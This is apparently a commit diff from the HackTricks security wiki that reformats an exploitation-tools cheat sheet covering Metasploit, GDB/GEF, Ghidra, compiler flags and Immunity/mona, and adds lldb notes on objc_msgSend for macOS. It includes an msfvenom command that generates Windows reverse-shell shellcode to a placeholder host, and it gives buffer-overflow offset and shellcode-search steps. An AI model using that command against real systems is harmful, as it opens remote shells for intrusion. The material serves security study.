GITBOOK-4283: change request with no subject merged in GitBook

2025-02-16 14:08:26 +00:00 · 2024-03-28 08:38:23 +00:00 · 2024-03-28 08:38:23 +00:00 · 7764639a50
commit 7764639a50
parent 6d800c7507
3 changed files with 120 additions and 70 deletions
--- a/exploiting/tools/README.md
+++ b/exploiting/tools/README.md
@ -1,4 +1,4 @@
-
+# Exploiting Tools

 <details>

@ -9,13 +9,12 @@ Other ways to support HackTricks:
 * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

 </details>

-
-# Metasploit
+## Metasploit

 ```
 pattern_create.rb -l 3000   #Length
@ -25,86 +24,103 @@ nasm> jmp esp   #Get opcodes
 msfelfscan -j esi /opt/fusion/bin/level01
 ```

-## Shellcodes
+### Shellcodes

 ```
 msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
 ```

-# GDB
+## GDB

-## Install
+### Install

 ```
 apt-get install gdb
 ```

-## Parameters
+### Parameters

-**-q** --> No show banner\
-**-x \<file>** --> Auto-execute GDB instructions from here\
-**-p \<pid>** --> Attach to process
+```bash
+-q # No show banner
+-x <file> # Auto-execute GDB instructions from here
+-p <pid> # Attach to process
+```

 ### Instructions

-\> **disassemble main** --> Disassemble the function\
-\> **disassemble 0x12345678**\
-\> **set disassembly-flavor intel**\
-\> **set follow-fork-mode child/parent** --> Follow created process\
-\> **p system** --> Find the address of the system function\
-\> **help**\
-\> **quit**
+```bash
+run # Execute
+start # Start and break in main
+n/next/ni # Execute next instruction (no inside)
+s/step/si # Execute next instruction
+c/continue # Continue until next breakpoint
+p system # Find the address of the system function
+set $eip = 0x12345678 # Change value of $eip
+help # Get help
+quit # exit

-\> **br func**  --> Add breakpoint to function\
-\> **br \*func+23**\
-\> **br \*0x12345678**\
-**> del NUM** --> Delete that number of br\
-\> **watch EXPRESSION** --> Break if the value changes
+# Disassemble
+disassemble main # Disassemble the function called main
+disassemble 0x12345678 # Disassemble taht address
+set disassembly-flavor intel # Use intel syntax
+set follow-fork-mode child/parent # Follow child/parent process

-**> run** --> Execute\
-**> start** --> Start and break in main\
-\> **n/next** --> Execute next instruction (no inside)\
-\> **s/step** --> Execute next instruction\
-\> **c/continue** --> Continue until next breakpoint
+# Breakpoints
+br func # Add breakpoint to function
+br *func+23
+br *0x12345678
+del <NUM> # Delete that number of breakpoint
+watch EXPRESSION # Break if the value changes

-\> **set $eip = 0x12345678** --> Change value of $eip\
-\> **info functions** --> Info abount functions\
-\> **info functions func** --> Info of the funtion\
-\> **info registers** --> Value of the registers\
-\> **bt** --> Stack\
-\> **bt full** --> Detailed stack
+# info
+info functions --> Info abount functions
+info functions func --> Info of the funtion
+info registers --> Value of the registers
+bt # Backtrace Stack
+bt full # Detailed stack
+print variable
+print 0x87654321 - 0x12345678 # Caculate

-\> **print variable**\
-\> **print 0x87654321 - 0x12345678** --> Caculate\
-\> **examine o/x/u/t/i/s dir\_mem/reg/puntero** --> Shows content in octal/hexa/10/bin/instruction/ascii
+# x/examine
+examine/<num><o/x/d/u/t/i/s/c><b/h/w/g> dir_mem/reg/puntero # Shows content of <num> in <octal/hexa/decimal/unsigned/bin/instruction/ascii/char> where each entry is a <Byte/half word (2B)/Word (4B)/Giant word (8B)>
+x/o 0xDir_hex
+x/2x $eip # 2Words from EIP
+x/2x $eip -4 # $eip - 4
+x/8xb $eip # 8 bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
+i r eip # Value of $eip
+x/w pointer # Value of the pointer
+x/s pointer # String pointed by the pointer
+x/xw &pointer # Address where the pointer is located
+x/i $eip # Instructions of the EIP
+```

-* **x/o 0xDir\_hex**
-* **x/2x $eip** --> 2Words from EIP
-* **x/2x $eip -4** -->  $eip - 4
-* **x/8xb $eip** --> 8  bytes (b-> byte, h-> 2bytes, w-> 4bytes, g-> 8bytes)
-* **i r eip** --> Value of $eip
-* **x/w pointer** --> Value of the pointer
-* **x/s pointer** --> String pointed by the pointer
-* **x/xw \&pointer** --> Address where the pointer is located
-* **x/i $eip** —> Instructions of the EIP
-
-## [GEF](https://github.com/hugsy/gef)
+### [GEF](https://github.com/hugsy/gef)

 ```bash
+help memory # Get help on memory command
+canary # Search for canary value in memory
 checksec #Check protections
 p system #Find system function address
 search-pattern "/bin/sh" #Search in the process memory
 vmmap #Get memory mappings
+xinfo <addr> # Shows page, size, perms, memory area and offset of the addr in the page
+memory watch 0x784000 0x1000 byte #Add a view always showinf this memory
+got #Check got table
+memory watch $_got()+0x18 5 #Watch a part of the got table

-#Shellcode
-shellcode search x86 #Search shellcodes
-shellcode get 61 #Download shellcode number 61
+# Vulns detection
+format-string-helper #Detect insecure format strings
+heap-analysis-helper #Checks allocation and deallocations of memory chunks:NULL free, UAF,double free, heap overlap

 #Patterns
 pattern create 200 #Generate length 200 pattern
 pattern search "avaaawaa" #Search for the offset of that substring
 pattern search $rsp #Search the offset given the content of $rsp

+#Shellcode
+shellcode search x86 #Search shellcodes
+shellcode get 61 #Download shellcode number 61
+
 #Another way to get the offset of to the RIP
 1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
 2- ef➤  i f
@ -120,9 +136,9 @@ gef➤  pattern search 0x6261617762616176
 [+] Found at offset 184 (little-endian search) likely
 ```

-## Tricks
+### Tricks

-### GDB same addresses
+#### GDB same addresses

 While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:

@ -132,7 +148,7 @@ While debugging GDB will have **slightly different addresses than the used by th
 * Exploit the binary using the same absolute route
 * `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary

-### Backtrace to find functions called
+#### Backtrace to find functions called

 When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
 You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
@ -146,13 +162,13 @@ gef➤  bt
 #4  0x0000000000400a5a in ?? ()
 ```

-## GDB server
+### GDB server

 `gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)

-# Ghidra
+## Ghidra

-## Find stack offset
+### Find stack offset

 **Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
 For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
@ -160,7 +176,7 @@ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._

 ![](<../../.gitbook/assets/image (616).png>)

-# GCC
+## GCC

 **gcc -fno-stack-protector -D\_FORTIFY\_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
 **-o** --> Output\
@ -171,7 +187,7 @@ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._
 **nasm -f elf assembly.asm** --> return a ".o"\
 **ld assembly.o -o shellcodeout** --> Executable

-# Objdump
+## Objdump

 **-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
 **-Mintel** --> **Intel** syntax\
@ -184,13 +200,13 @@ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._
 **ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
 **objdump -D ./exec | grep "VAR\_NAME"** --> Address or a static variable (those are stored in DATA section).

-# Core dumps
+## Core dumps

 1. Run `ulimit -c unlimited` before starting my program
 2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
 3. sudo gdb --core=\<path/core> --quiet

-# More
+## More

 **ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
 **for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\
@ -200,16 +216,16 @@ _Remember that the first 0x08 from where the RIP is saved belongs to the RBP._
 **strace executable** --> Functions called by the executable\
 **rabin2 -i ejecutable -->** Address of all the functions

-# **Inmunity debugger**
+## **Inmunity debugger**

 ```bash
 !mona modules    #Get protections, look for all false except last one (Dll of SO)
 !mona find -s "\xff\xe4" -m name_unsecure.dll   #Search for opcodes insie dll space (JMP ESP)
 ```

-# IDA
+## IDA

-## Debugging in remote linux
+### Debugging in remote linux

 Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux\_server_ or _linux\_server64_ inside the linux server and run it nside the folder that contains the binary:

@ -221,7 +237,6 @@ Then, configure the debugger: Debugger (linux remote) --> Proccess options...:

 ![](<../../.gitbook/assets/image (101).png>)

-
 <details>

 <summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
@ -231,9 +246,7 @@ Other ways to support HackTricks:
 * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

 </details>
-
-
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/README.md
@ -9,7 +9,7 @@ Other ways to support HackTricks:
 * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

 </details>
@ -137,6 +137,14 @@ The params this function expects are:
 * The second parameter, (**op**), is "the selector of the method that handles the message". Again, more simply put, this is just the **name of the method.**
 * The remaining parameters are any **values that are required by the method** (op).

+See how to **get this info easily with `lldb` in ARM64** in this page:
+
+{% content-ref url="arm64-basic-assembly.md" %}
+[arm64-basic-assembly.md](arm64-basic-assembly.md)
+{% endcontent-ref %}
+
+x64:
+
 | **Argument**      | **Register**                                                    | **(for) objc\_msgSend**                                |
 | ----------------- | --------------------------------------------------------------- | ------------------------------------------------------ |
 | **1st argument**  | **rdi**                                                         | **self: object that the method is being invoked upon** |
@ -541,7 +549,7 @@ Other ways to support HackTricks:
 * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

 </details>
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
@ -353,6 +353,35 @@ dyldex -e libsystem_kernel.dylib /System/Library/Caches/com.apple.dyld/dyld_shar
 Sometimes it's easier to check the **decompiled** code from **`libsystem_kernel.dylib`** **than** checking the **source code** becasue the code of several syscalls (BSD and Mach) are generated via scripts (check comments in the source code) while in the dylib you can find what is being called.
 {% endhint %}

+### objc\_msgSend
+
+It's super common to find this function used in Objective-C or Swift programs. This function allows to call a method of an objective-C object.
+
+Parameters ([more info in the docs](https://developer.apple.com/documentation/objectivec/1456712-objc\_msgsend)):
+
+* x0: self -> Pointer to the instance
+* x1: op -> Selector of the method
+* x2... -> Rest of the arguments of the invoked method
+
+So, if you put breakpoint before the branch to this function, you can easily find what is invoked in lldb with (in this example the object calls an object from `NSConcreteTask` that will run a command):
+
+```
+(lldb) po $x0
+<NSConcreteTask: 0x1052308e0>
+
+(lldb) x/s $x1
+0x1736d3a6e: "launch"
+
+(lldb) po [$x0 launchPath]
+/bin/sh
+
+(lldb) po [$x0 arguments]
+<__NSArrayI 0x1736801e0>(
+-c,
+whoami
+)
+```
+
 ### Shellcodes

 To compile: